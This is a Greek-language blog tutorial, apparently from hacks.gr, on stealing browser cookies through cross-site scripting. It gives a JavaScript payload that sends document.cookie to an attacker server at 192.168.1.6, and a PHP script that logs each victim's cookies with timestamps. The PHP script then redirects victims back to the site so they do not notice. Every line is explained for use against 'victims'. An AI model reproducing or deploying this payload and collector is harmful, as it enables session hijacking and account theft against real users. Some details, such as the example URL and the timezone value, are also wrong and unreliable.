Πως θα κλέψετε τα Cookies με την μέθοδο XSS

ezgif.com webp to jpg 1

Στον παρακάτω κώδικα θα δείτε πως μπορείτε να κλέψετε cookies κάνοντας επιθέσεις xss.

Ας ρίξουμε μια ματιά στο πρώτο script. Αυτό είναι το script/κώδικας που κάνετε inject στην σελίδα και το στέλνετε στο θύμα σας…

<script>

var server="192.168.1.6"; //your server
var phpfl= "recvCookie.php"; //your php file to reiceve the cookie
var getArg="data"; //the argument that will handle the data
var path = "http://"+server+"/"+phpfl+"?"+getArg+"="+document.cookie;

window.open(path,"_self");

</script>

Το <script> λέει στον browser του θύματος ότι ο παρακάτω κώδικας είναι της γλώσσας javascript και το </script> δείχνει στον browser που τελειώνει αυτός ο κώδικας.

Οι επόμενες τέσσερις γραμμές είναι δικές μας μεταβλητές για να μπορούμε να μην τα έχουμε όλα μπερδεμένα…

Η πρώτη μεταβλητή είναι ο δικός μας server ο όποιος θα δέχεται τα δεδομένα των cookies από τους χρήστες που θα ανοίγουν τον παραπάνω κώδικα στον browser τους.

Η δεύτερή γραμμή δείχνει που είναι το αρχείο που θα επεξεργάζεται τα δεδομένα των cookies και θα τα γράφει σε κάποιο αρχείο για να μπορούμε να τα δούμε εμείς αργότερα…

Η τρίτη γραμμή είναι το argument που θα σταλθούν τα δεδομένα. Για να το περιγράψω με τον απλό τρόπο. Είναι η μεταβλητή στον σερβερ μας. Εκεί θα πάνε τα δεδομένα πριν τα γράψουμε σε κάποιο αρχείο.

Η τελευταία μεταβλητή το μόνο που κάνει είναι να τα ενώνει όλα μαζί.

Δείτε επίσης:   Γίνε Μετά-Hacker ! "Xακαρε"τον Χάκερ (Hex Workshop)

βάζει αρχικά το http:// μπροστά. ακολουθεί η διεύθυνση του server μας. Το αρχείο κλπ… μέχρι που στο τέλος υπάρχει και το document.cookie. Αυτό διαβάζει τα δεδομένα για τα cookies που είναι στον browser του θύματος.

Το αποτέλεσμά αυτής της μεταβλητής θα μοιάζει κάπως έτσι:

path=http://myserver.com?recvCookie.php?data=[Dedomena twn cookies edw]

Και έχουμε μια ακόμα εντολή… Αυτή η εντολή κάνει redirect το θύμα μας στον server μας και μάλιστα στο path…. Τα υπόλοιπα τα αναλαμβάνει το php αρχείο το όποιο είναι στον δικό μας server!

<?php
$target_site = "http://192.168.1.6"; //redirect back the user!
//http/https is required
date_default_timezone_set("UTC");
$fl = fopen("data_logs.html","a");

$data = $_GET["data"];
fwrite($fl,"<pre>\n");
fwrite($fl,"--".date("d/m/y -- h:i")."--\n");
fwrite($fl,$data."\n");
fwrite($fl,"-------------------------\n\n");

header("Location: ".$target_site);
die();

?>

 

Το <?php λέει στον server μας ότι ο παρακάτω κώδικας έχει γραφτεί σε γλώσσα php. To ?> λέει ότι εκεί τελειώνει ο παραπάνω κώδικας που ήταν σε php

$target_site είναι μια μεταβλητή που αποθηκεύει το site που έχουμε χακαρεί. Αυτό το αποθηκεύουμε εκεί για να κάνουμε redirect το θύμα μας πίσω στο κανονικό site όταν τσιμπήσει, με αυτόν τον τρόπο δεν θα καταλάβει καν τι έγινε (αν είναι άσχετος)

date_default_timezone_set(“UTC”);

κάνει ακριβώς αυτό που λέει :p Θα το χρειαστούμε για να ξέρουμε τι ώρα τσίμπησε το θύμα μας. Μπορείτε να το αλλάξετε να είναι στην Έλλαδα. Αντί για UTC βάλτε greece

Δείτε επίσης:   Χρησιμοποιώντας το Dirb για εντοπισμό κρυφών φακέλων και αρχείων σε ιστότοπους

$fl = fopen(“data_logs.html”,”a”);

Αυτή η εντολή ανοίγει ένα αρχείο με το όνομα data_logs.html. Αν δεν υπάρχει το δημιουργεί. Αν υπάρχει τότε πηγαίνει  τον κέρσορα στο τέλος του αρχείου. Με αυτόν τον τρόπο δεν διαγράφονται δεδομένα από προηγούμενα θύματα. Για να γράψουμε κάτι σε αυτό το αρχείο το κάνουμε με την fopen. To $fl βάζει τα πράγματα στο αρχείο… δεν είναι μεταβλητή (όχι με την έννοια τις μεταβλητής βασικά)

$data = $_GET[“data”];

Αυτό δεν χρειαζόταν… Αλλά ας έχουμε τα πράγματα τακτοποιημένα… Αυτό εδώ πηγαίνει  τα δεδομένα από την μεταβλητή (argument) data στην μεταβλητή $data.

$_GET[“data”];

Αυτό εδώ έχει τα δεδομένα που έστειλε το προηγούμενο script. Για να μην το καλούμε όλο αυτό τα βάλαμε στην μεταβλητή $data…

fwrite($fl,"<pre>\n");
fwrite($fl,"--".date("d/m/y -- h:i")."--\n");
fwrite($fl,$data."\n");
fwrite($fl,"-------------------------\n\n");

Η πρώτη γραμμή γράφει στο αρχείο ένα html tag το όποιο λέει να τυπώνει τα δεδομένα όπως ακριβώς του τα δίνουμε (με χαρακτήρες νέας γραμμής κλπ)

Η δεύτερή γραμμή γράφει στο αρχείο την ημερομηνία και την ώρα που το θύμα μας στάλθηκε σε αυτό το αρχείο από τον κώδικα μας.

Η τρίτη γραμμή γράφει στο αρχείο τα δεδομένα που έστειλε ο κώδικας που εκτελέστηκε στον υπολογιστή του θύματος (δηλαδή τα cookies)

H τέταρτη γραμμή γράφει:,”————————-” για να ξέρουμε που τελειώνουν τα δεδομένα. Το \n είναι χαρακτήρας νέας γραμμής, είναι σαν να πατάω enter σε ένα έγγραφό κειμένου δηλαδή.

Δείτε επίσης:   Η Σκοτεινή Πλευρά των Exploits: Προκλήσεις και Προστασία

header("Location: ".$target_site);
die();

η πρώτη γραμμή κάνει redirect τον χρήστη μας πίσω στην σελίδα που χακάραμε, με αυτόν τον τρόπο κάνουμε λίγο καμουφλάζ στην επίθεση και δεν καταλαβαίνει κάτι…

 die()

σταματάει να εκτελεί κώδικα php στον server. Δεν είναι απαραίτητο εδώ. Αλλά αν υπάρξει θέμα (πχ δεν μπορεί να γράψει τα δεδομένα στο αρχείο και καθυστέρηση πολύ να τελειώσει το θύμα μας μπορεί να καταλάβει ότι κάνουμε επίθεση. το die σταματάει αυτήν την διαδικασία… και το redirect γίνετε κανονικά)

242546236 4526410447380695 8261268516492872656 n 1
Ο Αλέξανδρος είναι ο ιδρυτής του hacks.gr και η κινητήρια δύναμη πίσω από το όραμά μας. Με πολυετή εμπειρία στον κόσμο του hacking, έχει διαμορφώσει μια κοινότητα που είναι πηγή έμπνευσης και μάθησης για όλους. Με τον προσωπικό του χαρακτήρα και την τεχνογνωσία του, έχει δημιουργήσει έναν χώρο όπου οι λάτρεις του hacking μπορούν να συναντιούνται, να μοιράζονται γνώσεις και να εξελίσσονται.

Related Post

0 0 votes
Article Rating
Subscribe
Notify of
0 Comments
Inline Feedbacks
View all comments
0
Would love your thoughts, please comment.x
()
x
Secured By miniOrange